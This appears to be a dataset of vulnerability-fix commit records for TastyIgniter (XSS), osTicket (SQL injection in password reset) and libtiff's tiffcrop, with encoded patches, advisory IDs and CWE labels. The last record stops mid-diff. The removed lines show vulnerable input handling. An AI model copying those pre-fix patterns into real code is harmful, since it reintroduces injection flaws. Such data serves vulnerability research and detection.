[ { "commit_message": "[PATCH] Minor fixes Signed-off-by: Sam Poyigi <6567634+sampoyigi@users.noreply.github.com> app/admin/formwidgets/ScheduleEditor.php | 17 ++++++++++++----- .../scheduleeditor/schedules.blade.php | 10 +++++----- .../formwidgets/components/component.blade.php | 2 +- .../models/config/mail_templates_model.php | 1 + 4 files changed, 19 insertions(+), 11 deletions(-)", "patch_text_b64": "RnJvbSA5OTJkNGNlNjQ0NDgwNWMzMTMyZTM2MzVhMDFiNmZkMjIyMDYzNTU0IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBTYW0gUG95aWdpIDw2NTY3NjM0K3NhbXBveWlnaUB1c2Vycy5ub3JlcGx5LmdpdGh1Yi5jb20+CkRhdGU6IFRodSwgMTAgTWFyIDIwMjIgMjI6MTE6NTIgKzAwMDAKU3ViamVjdDogW1BBVENIXSBNaW5vciBmaXhlcwoKU2lnbmVkLW9mZi1ieTogU2FtIFBveWlnaSA8NjU2NzYzNCtzYW1wb3lpZ2lAdXNlcnMubm9yZXBseS5naXRodWIuY29tPgotLS0KIGFwcC9hZG1pbi9mb3Jtd2lkZ2V0cy9TY2hlZHVsZUVkaXRvci5waHAgICAgICAgIHwgMTcgKysrKysrKysrKysrLS0tLS0KIC4uLi9zY2hlZHVsZWVkaXRvci9zY2hlZHVsZXMuYmxhZGUucGhwICAgICAgICAgIHwgMTAgKysrKystLS0tLQogLi4uL2Zvcm13aWRnZXRzL2NvbXBvbmVudHMvY29tcG9uZW50LmJsYWRlLnBocCAgfCAgMiArLQogLi4uL21vZGVscy9jb25maWcvbWFpbF90ZW1wbGF0ZXNfbW9kZWwucGhwICAgICAgfCAgMSArCiA0IGZpbGVzIGNoYW5nZWQsIDE5IGluc2VydGlvbnMoKyksIDExIGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2FwcC9hZG1pbi9mb3Jtd2lkZ2V0cy9TY2hlZHVsZUVkaXRvci5waHAgYi9hcHAvYWRtaW4vZm9ybXdpZGdldHMvU2NoZWR1bGVFZGl0b3IucGhwCmluZGV4IGE2MDhhMmFjNzYuLjgyOGVlODc0NGYgMTAwNjQ0Ci0tLSBhL2FwcC9hZG1pbi9mb3Jtd2lkZ2V0cy9TY2hlZHVsZUVkaXRvci5waHAKKysrIGIvYXBwL2FkbWluL2Zvcm13aWRnZXRzL1NjaGVkdWxlRWRpdG9yLnBocApAQCAtMywxMSArMywxMyBAQAogbmFtZXNwYWNlIEFkbWluXEZvcm1XaWRnZXRzOwogCiB1c2UgQWRtaW5cQ2xhc3Nlc1xCYXNlRm9ybVdpZGdldDsKK3VzZSBBZG1pblxNb2RlbHNcTG9jYXRpb25zX21vZGVsOwogdXNlIEFkbWluXE1vZGVsc1xXb3JraW5nX2hvdXJzX21vZGVsOwogdXNlIEFkbWluXFRyYWl0c1xWYWxpZGF0ZXNGb3JtOwogdXNlIEFkbWluXFdpZGdldHNcRm9ybTsKIHVzZSBJZ25pdGVyXEZsYW1lXEV4Y2VwdGlvblxBcHBsaWNhdGlvbkV4Y2VwdGlvbjsKIHVzZSBJZ25pdGVyXEZsYW1lXExvY2F0aW9uXE1vZGVsc1xBYnN0cmFjdExvY2F0aW9uOwordXNlIElnbml0ZXJcRmxhbWVcTG9jYXRpb25cT3JkZXJUeXBlczsKIHVzZSBJbGx1bWluYXRlXFN1cHBvcnRcRmFjYWRlc1xEQjsKIAogY2xhc3MgU2NoZWR1bGVFZGl0b3IgZXh0ZW5kcyBCYXNlRm9ybVdpZGdldApAQCAtNzIsNyArNzQsNyBAQCBwdWJsaWMgZnVuY3Rpb24gb25Mb2FkUmVjb3JkKCkKICAgICAgICAgJHNjaGVkdWxlQ29kZSA9IHBvc3QoJ3JlY29yZElkJyk7CiAgICAgICAgICRzY2hlZHVsZUl0ZW0gPSAkdGhpcy0+Z2V0U2NoZWR1bGUoJHNjaGVkdWxlQ29kZSk7CiAKLSAgICAgICAgJGZvcm1UaXRsZSA9IHNwcmludGYobGFuZygkdGhpcy0+Zm9ybVRpdGxlKSwgbGFuZygnYWRtaW46OmxhbmcudGV4dF8nLiRzY2hlZHVsZUNvZGUpKTsKKyAgICAgICAgJGZvcm1UaXRsZSA9IHNwcmludGYobGFuZygkdGhpcy0+Zm9ybVRpdGxlKSwgbGFuZygkc2NoZWR1bGVJdGVtLT5uYW1lKSk7CiAKICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWtlUGFydGlhbCgncmVjb3JkZWRpdG9yL2Zvcm0nLCBbCiAgICAgICAgICAgICAnZm9ybVJlY29yZElkJyA9PiAkc2NoZWR1bGVDb2RlLApAQCAtMTI1LDEwICsxMjcsMTUgQEAgcHJvdGVjdGVkIGZ1bmN0aW9uIGxpc3RTY2hlZHVsZXMoKQogICAgICAgICBpZiAoJHRoaXMtPnNjaGVkdWxlc0NhY2hlKQogICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zY2hlZHVsZXNDYWNoZTsKIAotICAgICAgICAkc2NoZWR1bGVzID0gW107Ci0gICAgICAgIGZvcmVhY2ggKCR0aGlzLT5tb2RlbC0+YXZhaWxhYmxlV29ya2luZ1R5cGVzKCkgYXMgJHNjaGVkdWxlQ29kZSkgewotICAgICAgICAgICAgJHNjaGVkdWxlc1skc2NoZWR1bGVDb2RlXSA9ICR0aGlzLT5tb2RlbC0+Y3JlYXRlU2NoZWR1bGVJdGVtKCRzY2hlZHVsZUNvZGUpOwotICAgICAgICB9CisgICAgICAgICRzY2hlZHVsZXMgPSBjb2xsZWN0KE9yZGVyVHlwZXM6Omluc3RhbmNlKCktPmxpc3RPcmRlclR5cGVzKCkpCisgICAgICAgICAgICAtPnByZXBlbmQoWyduYW1lJyA9PiAnYWRtaW46OmxhbmcudGV4dF9vcGVuaW5nJ10sIExvY2F0aW9uc19tb2RlbDo6T1BFTklORykKKyAgICAgICAgICAgIC0+bWFwV2l0aEtleXMoZnVuY3Rpb24gKCRkZWZpbml0aW9uLCAkY29kZSkgeworICAgICAgICAgICAgICAgICRzY2hlZHVsZUl0ZW0gPSAkdGhpcy0+bW9kZWwtPmNyZWF0ZVNjaGVkdWxlSXRlbSgkY29kZSk7CisgICAgICAgICAgICAgICAgJHNjaGVkdWxlSXRlbS0+bmFtZSA9IGFycmF5X2dldCgkZGVmaW5pdGlvbiwgJ25hbWUnKTsKKworICAgICAgICAgICAgICAgIHJldHVybiBbJGNvZGUgPT4gJHNjaGVkdWxlSXRlbV07CisgICAgICAgICAgICB9KQorICAgICAgICAgICAgLT5hbGwoKTsKIAogICAgICAgICByZXR1cm4gJHRoaXMtPnNjaGVkdWxlc0NhY2hlID0gJHNjaGVkdWxlczsKICAgICB9CmRpZmYgLS1naXQgYS9hcHAvYWRtaW4vZm9ybXdpZGdldHMvc2NoZWR1bGVlZGl0b3Ivc2NoZWR1bGVzLmJsYWRlLnBocCBiL2FwcC9hZG1pbi9mb3Jtd2lkZ2V0cy9zY2hlZHVsZWVkaXRvci9zY2hlZHVsZXMuYmxhZGUucGhwCmluZGV4IGZmNDJkZjI1YzcuLmI2NTcyYzViOWIgMTAwNjQ0Ci0tLSBhL2FwcC9hZG1pbi9mb3Jtd2lkZ2V0cy9zY2hlZHVsZWVkaXRvci9zY2hlZHVsZXMuYmxhZGUucGhwCisrKyBiL2FwcC9hZG1pbi9mb3Jtd2lkZ2V0cy9zY2hlZHVsZWVkaXRvci9zY2hlZHVsZXMuYmxhZGUucGhwCkBAIC0xLDE2ICsxLDE2IEBACi08ZGl2IGNsYXNzPSJyb3ciPgotICAgIEBmb3JlYWNoICgkc2NoZWR1bGVzIGFzICRzY2hlZHVsZSkKLSAgICAgICAgPGRpdiBjbGFzcz0iY29sLWxnLTQgcHktMyI+Cis8ZGl2IGNsYXNzPSJkLWZsZXggZmxleC1ub3dyYXAgb3ZlcmZsb3ctYXV0byI+CisgICAgQGZvcmVhY2ggKCRzY2hlZHVsZXMgYXMgJHNjaGVkdWxlQ29kZSA9PiAkc2NoZWR1bGUpCisgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0zIHt7ICRsb29wLT5maXJzdCA/ICdweS0yIHByLTIgcGwtMCcgOiAncC0yJyB9fSI+CiAgICAgICAgICAgICA8ZGl2CiAgICAgICAgICAgICAgICAgaWQ9Int7ICR0aGlzLT5nZXRJZCgnaXRlbS0nLiRsb29wLT5pdGVyYXRpb24pIH19IgogICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJkIGJnLWxpZ2h0IHNoYWRvdy1zbSBtYi0wIgogICAgICAgICAgICAgICAgIGRhdGEtZWRpdG9yLWNvbnRyb2w9ImxvYWQtc2NoZWR1bGUiCi0gICAgICAgICAgICAgICAgZGF0YS1zY2hlZHVsZS1jb2RlPSJ7eyAkc2NoZWR1bGUtPm5hbWUgfX0iCisgICAgICAgICAgICAgICAgZGF0YS1zY2hlZHVsZS1jb2RlPSJ7eyAkc2NoZWR1bGVDb2RlIH19IgogICAgICAgICAgICAgICAgIHJvbGU9ImJ1dHRvbiIKICAgICAgICAgICAgID4KICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmbGV4LWZpbGwiPgotICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJjYXJkLXRpdGxlIj57eyBsYW5nKCdhZG1pbjo6bGFuZy50ZXh0XycuJHNjaGVkdWxlLT5uYW1lKS4nICcubGFuZygnYWRtaW46OmxhbmcubG9jYXRpb25zLnRleHRfc2NoZWR1bGUnKSB9fTwvaDU+CisgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9ImNhcmQtdGl0bGUiPnt7IGxhbmcoJHNjaGVkdWxlLT5uYW1lKS4nICcubGFuZygnYWRtaW46OmxhbmcubG9jYXRpb25zLnRleHRfc2NoZWR1bGUnKSB9fTwvaDU+CiAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iY2FyZC10ZXh0Ij57eyBsYW5nKCdhZG1pbjo6bGFuZy5sb2NhdGlvbnMudGV4dF8nLiRzY2hlZHVsZS0+dHlwZSkgfX08L3A+CiAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogCmRpZmYgLS1naXQgYS9hcHAvbWFpbi9mb3Jtd2lkZ2V0cy9jb21wb25lbnRzL2NvbXBvbmVudC5ibGFkZS5waHAgYi9hcHAvbWFpbi9mb3Jtd2lkZ2V0cy9jb21wb25lbnRzL2NvbXBvbmVudC5ibGFkZS5waHAKaW5kZXggYTc0MmUyMjljZC4uZDc1MTQ5YWM3NiAxMDA2NDQKLS0tIGEvYXBwL21haW4vZm9ybXdpZGdldHMvY29tcG9uZW50cy9jb21wb25lbnQuYmxhZGUucGhwCisrKyBiL2FwcC9tYWluL2Zvcm13aWRnZXRzL2NvbXBvbmVudHMvY29tcG9uZW50LmJsYWRlLnBocApAQCAtMyw3ICszLDcgQEAgY2xhc3M9ImNvbXBvbmVudHMtaXRlbSIKICAgICBkYXRhLWNvbnRyb2w9ImNvbXBvbmVudCIKICAgICBkYXRhLWNvbXBvbmVudC1hbGlhcz0ie3sgJGNvbXBvbmVudC0+YWxpYXMgfX0iCiA+Ci0gICAgPGRpdiBjbGFzcz0iYnRuIGJ0bi1saWdodCB0ZXh0LWxlZnQgcC0zIGNvbXBvbmVudHt7ICRjb21wb25lbnQtPmZhdGFsRXJyb3IgPyAnIGJvcmRlci1kYW5nZXInIDogJycgfX0iPgorICAgIDxkaXYgY2xhc3M9ImJ0biBidG4tbGlnaHQgdGV4dC1sZWZ0IHAtMyB3LTEwMCBjb21wb25lbnR7eyAkY29tcG9uZW50LT5mYXRhbEVycm9yID8gJyBib3JkZXItZGFuZ2VyJyA6ICcnIH19Ij4KICAgICAgICAgPGRpdgogICAgICAgICAgICAgY2xhc3M9ImNvbXBvbmVudHMtaXRlbS1pbmZvIgogICAgICAgICAgICAgZGF0YS1jb21wb25lbnQtY29udHJvbD0ibG9hZCIKZGlmZiAtLWdpdCBhL2FwcC9zeXN0ZW0vbW9kZWxzL2NvbmZpZy9tYWlsX3RlbXBsYXRlc19tb2RlbC5waHAgYi9hcHAvc3lzdGVtL21vZGVscy9jb25maWcvbWFpbF90ZW1wbGF0ZXNfbW9kZWwucGhwCmluZGV4IDBmM2UxZWMzZmQuLjc0YmNkM2Y3MDIgMTAwNjQ0Ci0tLSBhL2FwcC9zeXN0ZW0vbW9kZWxzL2NvbmZpZy9tYWlsX3RlbXBsYXRlc19tb2RlbC5waHAKKysrIGIvYXBwL3N5c3RlbS9tb2RlbHMvY29uZmlnL21haWxfdGVtcGxhdGVzX21vZGVsLnBocApAQCAtNjIsNiArNjIsNyBAQAogICAgICAgICAnbGFiZWwnID0+ICdsYW5nOmFkbWluOjpsYW5nLmNvbHVtbl9kYXRlX2FkZGVkJywKICAgICAgICAgJ3R5cGUnID0+ICd0aW1ldGVuc2UnLAogICAgICAgICAnc2VhcmNoYWJsZScgPT4gVFJVRSwKKyAgICAgICAgJ2ludmlzaWJsZScgPT4gVFJVRSwKICAgICBdLAogICAgICd0ZW1wbGF0ZV9pZCcgPT4gWwogICAgICAgICAnbGFiZWwnID0+ICdsYW5nOmFkbWluOjpsYW5nLmNvbHVtbl9pZCcs", "url": "https://github.com/tastyigniter/tastyigniter/commit/992d4ce6444805c3132e3635a01b6fd222063554.patch" } ]
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
GHSA-6wv3-7rx8-2362
null
[ { "commit_message": "[PATCH] security: SQL Injection This mitigates a possible SQL injection vulnerability reported by Bittylicious. include/class.staff.php | 8 ++++---- include/class.user.php | 8 ++++---- include/class.validator.php | 9 ++++++++- pwreset.php | 4 +++- scp/pwreset.php | 7 +++++-- 5 files changed, 24 insertions(+), 12 deletions(-)", "patch_text_b64": "RnJvbSBlMjgyOTEwMjJlNjYyZmZhNzU0ZTE3MGMwOWNhZGU3YmRhZGYzZmQ5IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBQZXRlciBSb3RpY2ggPHBldGVyQG9zdGlja2V0LmNvbT4KRGF0ZTogVGh1LCA3IE9jdCAyMDIxIDE0OjM4OjQ0ICswMDAwClN1YmplY3Q6IFtQQVRDSF0gc2VjdXJpdHk6IFNRTCBJbmplY3Rpb24KClRoaXMgbWl0aWdhdGVzIGEgcG9zc2libGUgU1FMIGluamVjdGlvbiB2dWxuZXJhYmlsaXR5IHJlcG9ydGVkIGJ5CkJpdHR5bGljaW91cy4KLS0tCiBpbmNsdWRlL2NsYXNzLnN0YWZmLnBocCAgICAgfCA4ICsrKystLS0tCiBpbmNsdWRlL2NsYXNzLnVzZXIucGhwICAgICAgfCA4ICsrKystLS0tCiBpbmNsdWRlL2NsYXNzLnZhbGlkYXRvci5waHAgfCA5ICsrKysrKysrLQogcHdyZXNldC5waHAgICAgICAgICAgICAgICAgIHwgNCArKystCiBzY3AvcHdyZXNldC5waHAgICAgICAgICAgICAgfCA3ICsrKysrLS0KIDUgZmlsZXMgY2hhbmdlZCwgMjQgaW5zZXJ0aW9ucygrKSwgMTIgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvaW5jbHVkZS9jbGFzcy5zdGFmZi5waHAgYi9pbmNsdWRlL2NsYXNzLnN0YWZmLnBocAppbmRleCAwYzE2ZWRjZDM4Li43YzliMmFmYzVlIDEwMDY0NAotLS0gYS9pbmNsdWRlL2NsYXNzLnN0YWZmLnBocAorKysgYi9pbmNsdWRlL2NsYXNzLnN0YWZmLnBocApAQCAtODYyLDExICs4NjIsMTEgQEAgc3RhdGljIGZ1bmN0aW9uIGxvb2t1cCgkdmFyKSB7CiAgICAgICAgIGlmIChpc19hcnJheSgkdmFyKSkKICAgICAgICAgICAgIHJldHVybiBwYXJlbnQ6Omxvb2t1cCgkdmFyKTsKICAgICAgICAgZWxzZWlmIChpc19udW1lcmljKCR2YXIpKQotICAgICAgICAgICAgcmV0dXJuIHBhcmVudDo6bG9va3VwKGFycmF5KCdzdGFmZl9pZCc9PiR2YXIpKTsKKyAgICAgICAgICAgIHJldHVybiBwYXJlbnQ6Omxvb2t1cChhcnJheSgnc3RhZmZfaWQnID0+IChpbnQpICR2YXIpKTsKICAgICAgICAgZWxzZWlmIChWYWxpZGF0b3I6OmlzX2VtYWlsKCR2YXIpKQotICAgICAgICAgICAgcmV0dXJuIHBhcmVudDo6bG9va3VwKGFycmF5KCdlbWFpbCc9PiR2YXIpKTsKLSAgICAgICAgZWxzZWlmIChpc19zdHJpbmcoJHZhcikpCi0gICAgICAgICAgICByZXR1cm4gcGFyZW50Ojpsb29rdXAoYXJyYXkoJ3VzZXJuYW1lJz0+JHZhcikpOworICAgICAgICAgICAgcmV0dXJuIHBhcmVudDo6bG9va3VwKGFycmF5KCdlbWFpbCcgPT4gJHZhcikpOworICAgICAgICBlbHNlaWYgKGlzX3N0cmluZygkdmFyKSAmJiAgVmFsaWRhdG9yOjppc191c2VybmFtZSgkdmFyKSkKKyAgICAgICAgICAgIHJldHVybiBwYXJlbnQ6Omxvb2t1cChhcnJheSgndXNlcm5hbWUnID0+IChzdHJpbmcpICR2YXIpKTsKICAgICAgICAgZWxzZQogICAgICAgICAgICAgcmV0dXJuIG51bGw7CiAgICAgfQpkaWZmIC0tZ2l0IGEvaW5jbHVkZS9jbGFzcy51c2VyLnBocCBiL2luY2x1ZGUvY2xhc3MudXNlci5waHAKaW5kZXggZTk5MjYyNDY0Yi4uYWY5YTM1M2U2NyAxMDA2NDQKLS0tIGEvaW5jbHVkZS9jbGFzcy51c2VyLnBocAorKysgYi9pbmNsdWRlL2NsYXNzLnVzZXIucGhwCkBAIC0xMzQxLDEwICsxMzQxLDEwIEBAIHN0YXRpYyBmdW5jdGlvbiBjcmVhdGVGb3JVc2VyKCR1c2VyLCAkZGVmYXVsdHM9ZmFsc2UpIHsKICAgICB9CiAKICAgICBzdGF0aWMgZnVuY3Rpb24gbG9va3VwQnlVc2VybmFtZSgkdXNlcm5hbWUpIHsKLSAgICAgICAgaWYgKHN0cnBvcygkdXNlcm5hbWUsICdAJykgIT09IGZhbHNlKQotICAgICAgICAgICAgJHVzZXIgPSBzdGF0aWM6Omxvb2t1cChhcnJheSgndXNlcl9fZW1haWxzX19hZGRyZXNzJz0+JHVzZXJuYW1lKSk7Ci0gICAgICAgIGVsc2UKLSAgICAgICAgICAgICR1c2VyID0gc3RhdGljOjpsb29rdXAoYXJyYXkoJ3VzZXJuYW1lJz0+JHVzZXJuYW1lKSk7CisgICAgICAgIGlmIChWYWxpZGF0b3I6OmlzX2VtYWlsKCR1c2VybmFtZSkpCisgICAgICAgICAgICAkdXNlciA9IHN0YXRpYzo6bG9va3VwKGFycmF5KCd1c2VyX19lbWFpbHNfX2FkZHJlc3MnID0+ICR1c2VybmFtZSkpOworICAgICAgICBlbHNlaWYgKFZhbGlkYXRvcjo6aXNfdXNlcmlkKCR1c2VybmFtZSkpCisgICAgICAgICAgICAkdXNlciA9IHN0YXRpYzo6bG9va3VwKGFycmF5KCd1c2VybmFtZScgPT4gJHVzZXJuYW1lKSk7CiAKICAgICAgICAgcmV0dXJuICR1c2VyOwogICAgIH0KZGlmZiAtLWdpdCBhL2luY2x1ZGUvY2xhc3MudmFsaWRhdG9yLnBocCBiL2luY2x1ZGUvY2xhc3MudmFsaWRhdG9yLnBocAppbmRleCBhYWQ2YjUzOTIwLi44YjRkYjZhNzdiIDEwMDY0NAotLS0gYS9pbmNsdWRlL2NsYXNzLnZhbGlkYXRvci5waHAKKysrIGIvaW5jbHVkZS9jbGFzcy52YWxpZGF0b3IucGhwCkBAIC0yMjAsMTEgKzIyMCwxOCBAQCBzdGF0aWMgZnVuY3Rpb24gaXNfaXAoJGlwLCAmJGVycm9yPScnKSB7CiAgICAgc3RhdGljIGZ1bmN0aW9uIGlzX3VzZXJuYW1lKCR1c2VybmFtZSwgJiRlcnJvcj0nJykgewogICAgICAgICBpZiAoc3RybGVuKCR1c2VybmFtZSk8MikKICAgICAgICAgICAgICRlcnJvciA9IF9fKCdVc2VybmFtZSBtdXN0IGhhdmUgYXQgbGVhc3QgdHdvICgyKSBjaGFyYWN0ZXJzJyk7Ci0gICAgICAgIGVsc2VpZiAoIXByZWdfbWF0Y2goJy9eW1xwe0x9XGQuXy1dKyQvdScsICR1c2VybmFtZSkpCisgICAgICAgIGVsc2VpZiAoaXNfbnVtZXJpYygkdXNlcm5hbWUpIHx8ICFwcmVnX21hdGNoKCcvXltccHtMfVxkLl8tXSskL3UnLCAkdXNlcm5hbWUpKQogICAgICAgICAgICAgJGVycm9yID0gX18oJ1VzZXJuYW1lIGNvbnRhaW5zIGludmFsaWQgY2hhcmFjdGVycycpOwogICAgICAgICByZXR1cm4gJGVycm9yID09ICcnOwogICAgIH0KIAorICAgIHN0YXRpYyAgZnVuY3Rpb24gaXNfdXNlcmlkKCR1c2VyaWQsICYkZXJyb3I9JycpIHsKKyAgICAgICAgaWYgKCFzZWxmOjppc191c2VybmFtZSgkdXNlcmlkKQorICAgICAgICAgICAgICAgICAgICAmJiAhc2VsZjo6aXNfZW1haWwoJHVzZXJpZCkpCisgICAgICAgICAgICAkZXJyb3IgPSBfXygnSW52YWxpZCBVc2VyIElkICcpOworICAgICAgICByZXR1cm4gJGVycm9yID09ICcnOworICAgIH0KKwogICAgIHN0YXRpYyBmdW5jdGlvbiBpc19mb3JtdWxhKCR0ZXh0LCAmJGVycm9yPScnKSB7CiAgICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bXj1cK0AtXS4qJC9zJywgJHRleHQpKQogICAgICAgICAgICAgJGVycm9yID0gX18oJ0NvbnRlbnQgY2Fubm90IHN0YXJ0IHdpdGggdGhlIGZvbGxvd2luZyBjaGFyYWN0ZXJzOiA9IC0gKyBAJyk7CmRpZmYgLS1naXQgYS9wd3Jlc2V0LnBocCBiL3B3cmVzZXQucGhwCmluZGV4IGJjOWVmNmYyOWQuLmIyYzQyYTZhNzkgMTAwNjQ0Ci0tLSBhL3B3cmVzZXQucGhwCisrKyBiL3B3cmVzZXQucGhwCkBAIC0xNSw3ICsxNSw5IEBACiAgICAgfQogICAgIHN3aXRjaCAoJF9QT1NUWydkbyddKSB7CiAgICAgICAgIGNhc2UgJ3NlbmRtYWlsJzoKLSAgICAgICAgICAgIGlmICgoJGFjY3Q9Q2xpZW50QWNjb3VudDo6bG9va3VwQnlVc2VybmFtZSgkX1BPU1RbJ3VzZXJpZCddKSkpIHsKKyAgICAgICAgICAgICR1c2VyaWQgPSAoc3RyaW5nKSAkX1BPU1RbJ3VzZXJpZCddOworICAgICAgICAgICAgaWYgKFZhbGlkYXRvcjo6aXNfdXNlcmlkKCR1c2VyaWQpCisgICAgICAgICAgICAgICAgICAgICYmICgkYWNjdD1DbGllbnRBY2NvdW50Ojpsb29rdXBCeVVzZXJuYW1lKCR1c2VyaWQpKSkgewogICAgICAgICAgICAgICAgIGlmICghJGFjY3QtPmlzUGFzc3dkUmVzZXRFbmFibGVkKCkpIHsKICAgICAgICAgICAgICAgICAgICAgJGJhbm5lciA9IF9fKCdQYXNzd29yZCByZXNldCBpcyBub3QgZW5hYmxlZCBmb3IgeW91ciBhY2NvdW50LiBDb250YWN0IHlvdXIgYWRtaW5pc3RyYXRvcicpOwogICAgICAgICAgICAgICAgIH0KZGlmZiAtLWdpdCBhL3NjcC9wd3Jlc2V0LnBocCBiL3NjcC9wd3Jlc2V0LnBocAppbmRleCBhODE2ODlkMjRlLi4xMGNlNGZkNzZhIDEwMDY0NAotLS0gYS9zY3AvcHdyZXNldC5waHAKKysrIGIvc2NwL3B3cmVzZXQucGhwCkBAIC0zOSw3ICszOSw5IEBACiAgICAgfQogICAgIHN3aXRjaCAoJF9QT1NUWydkbyddKSB7CiAgICAgICAgIGNhc2UgJ3NlbmRtYWlsJzoKLSAgICAgICAgICAgIGlmICgoJHN0YWZmPVN0YWZmOjpsb29rdXAoJF9QT1NUWyd1c2VyaWQnXSkpKSB7CisgICAgICAgICAgICAkdXNlcmlkID0gKHN0cmluZykgJF9QT1NUWyd1c2VyaWQnXTsKKyAgICAgICAgICAgIGlmIChWYWxpZGF0b3I6OmlzX3VzZXJpZCgkdXNlcmlkKQorICAgICAgICAgICAgICAgICAgICAmJiAoJHN0YWZmPVN0YWZmOjpsb29rdXAoJHVzZXJpZCkpKSB7CiAgICAgICAgICAgICAgICAgaWYgKCEkc3RhZmYtPmhhc1Bhc3N3b3JkKCkpIHsKICAgICAgICAgICAgICAgICAgICAgaWYgKCRzdGFmZi0+c2VuZFJlc2V0RW1haWwoJ3JlZ2lzdHJhdGlvbi1zdGFmZicsIGZhbHNlKSAhPT0gZmFsc2UpCiAgICAgICAgICAgICAgICAgICAgICAgICAkbXNnID0gX18oJ1JlZ2lzdHJhdGlvbiBlbWFpbCBzZW50IHN1Y2Nlc3NmdWxseS4nKTsKQEAgLTcyLDcgKzc0LDggQEAKICAgICAkbXNnID0gX18oJ1BsZWFzZSBlbnRlciB5b3VyIHVzZXJuYW1lIG9yIGVtYWlsJyk7CiAgICAgJF9jb25maWcgPSBuZXcgQ29uZmlnKCdwd3Jlc2V0Jyk7CiAgICAgaWYgKCgkaWQgPSAkX2NvbmZpZy0+Z2V0KCRfR0VUWyd0b2tlbiddKSkKLSAgICAgICAgICAgICYmICgkc3RhZmYgPSBTdGFmZjo6bG9va3VwKCRpZCkpKQorICAgICAgICAgICAgJiYgaXNfbnVtZXJpYygkaWQpCisgICAgICAgICAgICAmJiAoJHN0YWZmID0gU3RhZmY6Omxvb2t1cCggKGludCkgJGlkKSkpCiAgICAgICAgIC8vIFRPRE86IERldGVjdCBzdGFmZiBjb25maXJtYXRpb24gKGZvciB3ZWxjb21lIGVtYWlsKQogICAgICAgICAkdHBsID0gJ3B3cmVzZXQubG9naW4ucGhwJzsKICAgICBlbHNl", "url": "https://github.com/osTicket/osTicket/commit/e28291022e662ffa754e170c09cade7bdadf3fd9.patch" } ]
null
GHSA-9qfj-r558-84rj
null
[ { "commit_message": "[PATCH] tiffcrop: Amend rotateImage() not to toggle the input (main) image width and length parameters when only cropped image sections are rotated. Remove buffptr from region structure because never used. Closes #492 #493 #494 #495 #499 #518 #519 tools/tiffcrop.c | 59 ++++++++++++++++++++++++++++-------------------- 1 file changed, 35 insertions(+), 24 deletions(-)", "patch_text_b64": "From 69818e2f2d246e6631ac2a2da692c3706b849c38 Mon Sep 17 00:00:00 2001
From: Su_Laus <sulau@freenet.de>
Date: Sun, 29 Jan 2023 11:09:26 +0100
Subject: [PATCH] tiffcrop: Amend rotateImage() not to toggle the input (main)
 image width and length parameters when only cropped image sections are
 rotated. Remove buffptr from region structure because never used.

Closes #492 #493 #494 #495 #499 #518 #519
---
 tools/tiffcrop.c | 59 ++++++++++++++++++++++++++++--------------------
 1 file changed, 35 insertions(+), 24 deletions(-)

diff --git a/tools/tiffcrop.c b/tools/tiffcrop.c
index ebea7475..519871ec 100644
--- a/tools/tiffcrop.c
+++ b/tools/tiffcrop.c
@@ -296,7 +296,6 @@ struct region
     uint32_t width;    /* width in pixels */
     uint32_t length;   /* length in pixels */
     uint32_t buffsize; /* size of buffer needed to hold the cropped region */
-    unsigned char *buffptr; /* address of start of the region */
 };
 
 /* Cropping parameters from command line and image data
@@ -577,7 +576,7 @@ static int rotateContigSamples24bits(uint16_t, uint16_t, uint16_t, uint32_t,
 static int rotateContigSamples32bits(uint16_t, uint16_t, uint16_t, uint32_t,
                                      uint32_t, uint32_t, uint8_t *, uint8_t *);
 static int rotateImage(uint16_t, struct image_data *, uint32_t *, uint32_t *,
-                       unsigned char **, size_t *);
+                       unsigned char **, size_t *, int);
 static int mirrorImage(uint16_t, uint16_t, uint16_t, uint32_t, uint32_t,
                        unsigned char *);
 static int invertImage(uint16_t, uint16_t, uint16_t, uint32_t, uint32_t,
@@ -5782,7 +5781,6 @@ static void initCropMasks(struct crop_mask *cps)
         cps->regionlist[i].width = 0;
         cps->regionlist[i].length = 0;
         cps->regionlist[i].buffsize = 0;
-        cps->regionlist[i].buffptr = NULL;
         cps->zonelist[i].position = 0;
         cps->zonelist[i].total = 0;
     }
@@ -7266,9 +7264,13 @@ static int correct_orientation(struct image_data *image,
                       (uint16_t)(image->adjustments & ROTATE_ANY));
             return (-1);
         }
-
-        if (rotateImage(rotation, image, &image->width, &image->length,
-                        work_buff_ptr, NULL))
+        /* Dummy variable in order not to switch two times the
+         * image->width,->length within rotateImage(),
+         * but switch xres, yres there. */
+        uint32_t width = image->width;
+        uint32_t length = image->length;
+        if (rotateImage(rotation, image, &width, &length, work_buff_ptr, NULL,
+                        TRUE))
         {
             TIFFError("correct_orientation", "Unable to rotate image");
             return (-1);
@@ -7377,7 +7379,6 @@ static int extractCompositeRegions(struct image_data *image,
         /* These should not be needed for composite images */
         crop->regionlist[i].width = crop_width;
         crop->regionlist[i].length = crop_length;
-        crop->regionlist[i].buffptr = crop_buff;
 
         src_rowsize = ((img_width * bps * spp) + 7) / 8;
         dst_rowsize = (((crop_width * bps * count) + 7) / 8);
@@ -7640,7 +7641,6 @@ static int extractSeparateRegion(struct image_data *image,
 
     crop->regionlist[region].width = crop_width;
     crop->regionlist[region].length = crop_length;
-    crop->regionlist[region].buffptr = crop_buff;
 
     src = read_buff;
     dst = crop_buff;
@@ -8635,7 +8635,8 @@ static int processCropSelections(struct image_data *image,
              * accordingly. */
             size_t rot_buf_size = 0;
             if (rotateImage(crop->rotation, image, &crop->combined_width,
-                            &crop->combined_length, &crop_buff, &rot_buf_size))
+                            &crop->combined_length, &crop_buff, &rot_buf_size,
+                            FALSE))
             {
